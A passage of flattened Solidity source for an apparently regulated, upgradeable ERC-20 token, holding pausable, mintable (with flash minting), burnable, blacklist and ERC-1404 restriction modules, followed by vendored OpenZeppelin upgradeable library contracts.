// Code position in storage is keccak256("PROXIABLE") = "0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7"
uint256 constant PROXIABLE_MEM_SLOT =
0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7;
event CodeAddressUpdated(address newAddress);
function _updateCodeAddress(address newAddress) internal {
require(
bytes32(PROXIABLE_MEM_SLOT) ==
Proxiable(newAddress).proxiableUUID(),
"Not compatible"
);
assembly {
// solium-disable-line
sstore(PROXIABLE_MEM_SLOT, newAddress)
}
emit CodeAddressUpdated(newAddress);
}
function getLogicAddress() external view returns (address logicAddress) {
assembly {
// solium-disable-line
logicAddress := sload(PROXIABLE_MEM_SLOT)
}
}
function proxiableUUID() external pure returns (bytes32) {
return bytes32(PROXIABLE_MEM_SLOT);
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../roles/PauserRole.sol";
/// @title Pausable Contract
/// @notice Child contracts will not be pausable by simply including this module, but only once the modifiers are put in
/// place
/// @dev Contract module which allows children to implement an emergency stop mechanism that can be triggered by an
/// authorized account. This module is used through inheritance. It will make available the modifiers `whenNotPaused`
/// and `whenPaused`, which can be applied to the functions of your contract.
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
/// @dev Returns true if the contract is paused, and false otherwise.
/// @return A boolean flag for if the contract is paused
function paused() public view returns (bool) {
return _paused;
}
/// @dev Modifier to make a function callable only when the contract is not paused
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/// @dev Modifier to make a function callable only when the contract is paused
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/// @notice Only administrators should be allowed to update this
/// @dev Triggers stopped state
function _pause() internal {
_paused = true;
emit Paused(msg.sender);
}
/// @notice Only administrators should be allowed to update this
/// @dev Resets to normal state
function _unpause() internal {
_paused = false;
emit Unpaused(msg.sender);
}
/// @dev Public function triggers stopped state
function pause() external onlyPauser whenNotPaused {
Pausable._pause();
}
/// @dev Public function resets to normal state.
function unpause() external onlyPauser whenPaused {
Pausable._unpause();
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/ERC20FlashMintUpgradeable.sol";
import "../roles/MinterRole.sol";
/// @title Mintable Contract
/// @notice Only administrators can mint tokens
/// @dev Enables increasing a balance by minting tokens
contract Mintable is
ERC20FlashMintUpgradeable,
MinterRole,
ReentrancyGuardUpgradeable
{
event Mint(address indexed minter, address indexed to, uint256 amount);
uint256 public flashMintFee = 0;
address public flashMintFeeReceiver;
bool public isFlashMintEnabled = false;
bytes32 public constant _RETURN_VALUE =
keccak256("ERC3156FlashBorrower.onFlashLoan");
/// @notice Only administrators should be allowed to mint on behalf of another account
/// @dev Mint a quantity of token in an account, increasing the balance
/// @param minter Designated to be allowed to mint account tokens
/// @param to The account tokens will be increased to
/// @param amount The number of tokens to add to a balance
function _mint(
address minter,
address to,
uint256 amount
) internal returns (bool) {
ERC20Upgradeable._mint(to, amount);
emit Mint(minter, to, amount);
return true;
}
/// @notice Only administrators should be allowed to update this
/// @dev Enable or disable the flash mint functionality
/// @param enabled A boolean flag that enables tokens to be flash minted
function _setFlashMintEnabled(bool enabled) internal {
isFlashMintEnabled = enabled;
}
/// @notice Only administrators should be allowed to update this
/// @dev Sets the address that will receive fees of flash mints
/// @param receiver The account that will receive flash mint fees
function _setFlashMintFeeReceiver(address receiver) internal {
flashMintFeeReceiver = receiver;
}
/// @dev Allow Owners to mint tokens to valid addresses
/// @param account The account tokens will be added to
/// @param amount The number of tokens to add to a balance
function mint(address account, uint256 amount)
public
virtual
onlyMinter
returns (bool)
{
return Mintable._mint(msg.sender, account, amount);
}
/// @dev Public function to set the fee paid by the borrower for a flash mint
/// @param fee The number of tokens that will cost to flash mint
function setFlashMintFee(uint256 fee) external onlyMinter {
flashMintFee = fee;
}
/// @dev Public function to enable or disable the flash mint functionality
/// @param enabled A boolean flag that enables tokens to be flash minted
function setFlashMintEnabled(bool enabled) external onlyMinter {
_setFlashMintEnabled(enabled);
}
/// @dev Public function to update the receiver of the fee paid for a flash mint
/// @param receiver The account that will receive flash mint fees
function setFlashMintFeeReceiver(address receiver) external onlyMinter {
_setFlashMintFeeReceiver(receiver);
}
/// @dev Public function that returns the fee set for a flash mint
/// @param token The token to be flash loaned
/// @return The fees applied to the corresponding flash loan
function flashFee(address token, uint256)
public
view
override
returns (uint256)
{
require(token == address(this), "ERC20FlashMint: wrong token");
return flashMintFee;
}
/// @dev Performs a flash loan. New tokens are minted and sent to the
/// `receiver`, who is required to implement the {IERC3156FlashBorrower}
/// interface. By the end of the flash loan, the receiver is expected to own
/// amount + fee tokens so that the fee can be sent to the fee receiver and the
/// amount minted should be burned before the transaction completes
/// @param receiver The receiver of the flash loan. Should implement the
/// {IERC3156FlashBorrower.onFlashLoan} interface
/// @param token The token to be flash loaned. Only `address(this)` is
/// supported
/// @param amount The amount of tokens to be loaned
/// @param data An arbitrary datafield that is passed to the receiver
/// @return `true` if the flash loan was successful
function flashLoan(
IERC3156FlashBorrowerUpgradeable receiver,
address token,
uint256 amount,
bytes calldata data
) public override nonReentrant returns (bool) {
require(isFlashMintEnabled, "flash mint is disabled");
uint256 fee = flashFee(token, amount);
_mint(address(receiver), amount);
require(
receiver.onFlashLoan(msg.sender, token, amount, fee, data) ==
_RETURN_VALUE,
"ERC20FlashMint: invalid return value"
);
uint256 currentAllowance = allowance(address(receiver), address(this));
require(
currentAllowance >= amount + fee,
"ERC20FlashMint: allowance does not allow refund"
);
_transfer(address(receiver), flashMintFeeReceiver, fee);
_approve(
address(receiver),
address(this),
currentAllowance - amount - fee
);
_burn(address(receiver), amount);
return true;
}
uint256[47] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import "../roles/BurnerRole.sol";
/// @title Burnable Contract
/// @notice Only administrators can burn tokens
/// @dev Enables reducing a balance by burning tokens
contract Burnable is ERC20Upgradeable, BurnerRole {
event Burn(address indexed burner, address indexed from, uint256 amount);
/// @notice Only administrators should be allowed to burn on behalf of another account
/// @dev Burn a quantity of token in an account, reducing the balance
/// @param burner Designated to be allowed to burn account tokens
/// @param from The account tokens will be deducted from
/// @param amount The number of tokens to remove from a balance
function _burn(
address burner,
address from,
uint256 amount
) internal returns (bool) {
ERC20Upgradeable._burn(from, amount);
emit Burn(burner, from, amount);
return true;
}
/// @dev Allow Burners to burn tokens for addresses
/// @param account The account tokens will be deducted from
/// @param amount The number of tokens to remove from a balance
function burn(address account, uint256 amount)
external
onlyBurner
returns (bool)
{
return _burn(msg.sender, account, amount);
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../roles/BlacklisterRole.sol";
/// @title Blacklistable Contract
/// @notice Only administrators can update the black list
/// @dev Keeps track of black lists and can check if sender and reciever are configured to allow a transfer
contract Blacklistable is BlacklisterRole {
// The mapping to keep track if an address is black listed
mapping(address => bool) public addressBlacklists;
// Track whether Blacklisting is enabled
bool public isBlacklistEnabled;
// Events to allow tracking add/remove.
event AddressAddedToBlacklist(
address indexed addedAddress,
address indexed addedBy
);
event AddressRemovedFromBlacklist(
address indexed removedAddress,
address indexed removedBy
);
event BlacklistEnabledUpdated(
address indexed updatedBy,
bool indexed enabled
);
/// @notice Only administrators should be allowed to update this
/// @dev Enable or disable the black list enforcement
/// @param enabled A boolean flag that enables token transfers to be black listed
function _setBlacklistEnabled(bool enabled) internal {
isBlacklistEnabled = enabled;
emit BlacklistEnabledUpdated(msg.sender, enabled);
}
/// @notice Only administrators should be allowed to update this
/// @dev Sets an address's black listing status
/// @param addressToAdd The address added to a black list
function _addToBlacklist(address addressToAdd) internal {
// Verify a valid address was passed in
require(addressToAdd != address(0), "Cannot add 0x0");
// Verify the address is on the blacklist before it can be removed
require(!addressBlacklists[addressToAdd], "Already on list");
// Set the address's white list ID
addressBlacklists[addressToAdd] = true;
// Emit the event for new Blacklist
emit AddressAddedToBlacklist(addressToAdd, msg.sender);
}
/// @notice Only administrators should be allowed to update this
/// @dev Clears out an address from the black list
/// @param addressToRemove The address removed from a black list
function _removeFromBlacklist(address addressToRemove) internal {
// Verify a valid address was passed in
require(addressToRemove != address(0), "Cannot remove 0x0");
// Verify the address is on the blacklist before it can be removed
require(addressBlacklists[addressToRemove], "Not on list");
// Zero out the previous white list
addressBlacklists[addressToRemove] = false;
// Emit the event for tracking
emit AddressRemovedFromBlacklist(addressToRemove, msg.sender);
}
/// @notice If either the sender or receiver is black listed, then the transfer should be denied
/// @dev Determine if the a sender is allowed to send to the receiver
/// @param sender The sender of a token transfer
/// @param receiver The receiver of a token transfer
function checkBlacklistAllowed(address sender, address receiver)
public
view
returns (bool)
{
// If black list enforcement is not enabled, then allow all
if (!isBlacklistEnabled) {
return true;
}
// If either address is on the black list then fail
return !addressBlacklists[sender] && !addressBlacklists[receiver];
}
/// @dev Public function that enables or disables the black list enforcement
/// @param enabled A boolean flag that enables token transfers to be black listed
function setBlacklistEnabled(bool enabled) external onlyOwner {
_setBlacklistEnabled(enabled);
}
/// @dev Public function that allows admins to remove an address from a black list
/// @param addressToAdd The address added to a black list
function addToBlacklist(address addressToAdd) external onlyBlacklister {
_addToBlacklist(addressToAdd);
}
/// @dev Public function that allows admins to remove an address from a black list
/// @param addressToRemove The address removed from a black list
function removeFromBlacklist(address addressToRemove)
external
onlyBlacklister
{
_removeFromBlacklist(addressToRemove);
}
uint256[48] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract ERC1404 {
/// @notice Detects if a transfer will be reverted and if so returns an appropriate reference code
/// @dev Overwrite with your custom transfer restriction logic
/// @param from Sending address
/// @param to Receiving address
/// @param value Amount of tokens being transferred
/// @return Code by which to reference message for rejection reasoning
function detectTransferRestriction(
address from,
address to,
uint256 value
) public view virtual returns (uint8);
/// @notice Returns a human-readable message for a given restriction code
/// @dev Overwrite with your custom message and restrictionCode handling
/// @param restrictionCode Identifier for looking up a message
/// @return Text showing the restriction's reasoning
function messageForTransferRestriction(uint8 restrictionCode)
public
view
virtual
returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC20Upgradeable.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20MetadataUpgradeable is IERC20Upgradeable {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/ERC20FlashMint.sol)
pragma solidity ^0.8.0;
import "../../../interfaces/IERC3156Upgradeable.sol";
import "../ERC20Upgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the ERC3156 Flash loans extension, as defined in
* https://eips.ethereum.org/EIPS/eip-3156[ERC-3156].
*
* Adds the {flashLoan} method, which provides flash loan support at the token
* level. By default there is no fee, but this can be changed by overriding {flashFee}.
*
* _Available since v4.1._
*/
abstract contract ERC20FlashMintUpgradeable is Initializable, ERC20Upgradeable, IERC3156FlashLenderUpgradeable {
function __ERC20FlashMint_init() internal initializer {
__Context_init_unchained();
__ERC20FlashMint_init_unchained();
}
function __ERC20FlashMint_init_unchained() internal initializer {
}
bytes32 private constant _RETURN_VALUE = keccak256("ERC3156FlashBorrower.onFlashLoan");
/**
* @dev Returns the maximum amount of tokens available for loan.
* @param token The address of the token that is requested.
* @return The amont of token that can be loaned.
*/
function maxFlashLoan(address token) public view override returns (uint256) {
return token == address(this) ? type(uint256).max - ERC20Upgradeable.totalSupply() : 0;
}
/**
* @dev Returns the fee applied when doing flash loans. By default this
* implementation has 0 fees. This function can be overloaded to make
* the flash loan mechanism deflationary.
* @param token The token to be flash loaned.
* @param amount The amount of tokens to be loaned.
* @return The fees applied to the corresponding flash loan.
*/
function flashFee(address token, uint256 amount) public view virtual override returns (uint256) {
require(token == address(this), "ERC20FlashMint: wrong token");
// silence warning about unused variable without the addition of bytecode.
amount;
return 0;
}
/**
* @dev Performs a flash loan. New tokens are minted and sent to the
* `receiver`, who is required to implement the {IERC3156FlashBorrower}
* interface. By the end of the flash loan, the receiver is expected to own
* amount + fee tokens and have them approved back to the token contract itself so
* they can be burned.
* @param receiver The receiver of the flash loan. Should implement the
* {IERC3156FlashBorrower.onFlashLoan} interface.
* @param token The token to be flash loaned. Only `address(this)` is
* supported.
* @param amount The amount of tokens to be loaned.
* @param data An arbitrary datafield that is passed to the receiver.
* @return `true` is the flash loan was successful.
*/
function flashLoan(
IERC3156FlashBorrowerUpgradeable receiver,
address token,
uint256 amount,
bytes calldata data
) public virtual override returns (bool) {
uint256 fee = flashFee(token, amount);
_mint(address(receiver), amount);
require(
receiver.onFlashLoan(msg.sender, token, amount, fee, data) == _RETURN_VALUE,
"ERC20FlashMint: invalid return value"
);
uint256 currentAllowance = allowance(address(receiver), address(this));
require(currentAllowance >= amount + fee, "ERC20FlashMint: allowance does not allow refund");
_approve(address(receiver), address(this), currentAllowance - amount - fee);
_burn(address(receiver), amount + fee);
return true;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
import "./IERC20Upgradeable.sol";
import "./extensions/IERC20MetadataUpgradeable.sol";
import "../../utils/ContextUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
uint256[45] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuardUpgradeable is Initializable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
function __ReentrancyGuard_init() internal initializer {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal initializer {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (proxy/utils/Initializable.sol)
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
* initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() initializer {}
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (interfaces/IERC3156.sol)
pragma solidity ^0.8.0;
import "./IERC3156FlashBorrowerUpgradeable.sol";
import "./IERC3156FlashLenderUpgradeable.sol";
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (interfaces/IERC3156FlashLender.sol)
pragma solidity ^0.8.0;
import "./IERC3156FlashBorrowerUpgradeable.sol";
/**
* @dev Interface of the ERC3156 FlashLender, as defined in
* https://eips.ethereum.org/EIPS/eip-3156[ERC-3156].
*
* _Available since v4.1._
*/
interface IERC3156FlashLenderUpgradeable {
/**
* @dev The amount of currency available to be lended.
* @param token The loan currency.
* @return The amount of `token` that can be borrowed.
*/
function maxFlashLoan(address token) external view returns (uint256);
/**
* @dev The fee to be charged for a given loan.
* @param token The loan currency.
* @param amount The amount of tokens lent.
* @return The amount of `token` to be charged for the loan, on top of the returned principal.
*/
function flashFee(address token, uint256 amount) external view returns (uint256);
/**
* @dev Initiate a flash loan.
* @param receiver The receiver of the tokens in the loan, and the receiver of the callback.
* @param token The loan currency.
* @param amount The amount of tokens lent.
* @param data Arbitrary data structure, intended to contain user-defined parameters.
*/
function flashLoan(
IERC3156FlashBorrowerUpgradeable receiver,
address token,
uint256 amount,
bytes calldata data
) external returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (interfaces/IERC3156FlashBorrower.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC3156 FlashBorrower, as defined in
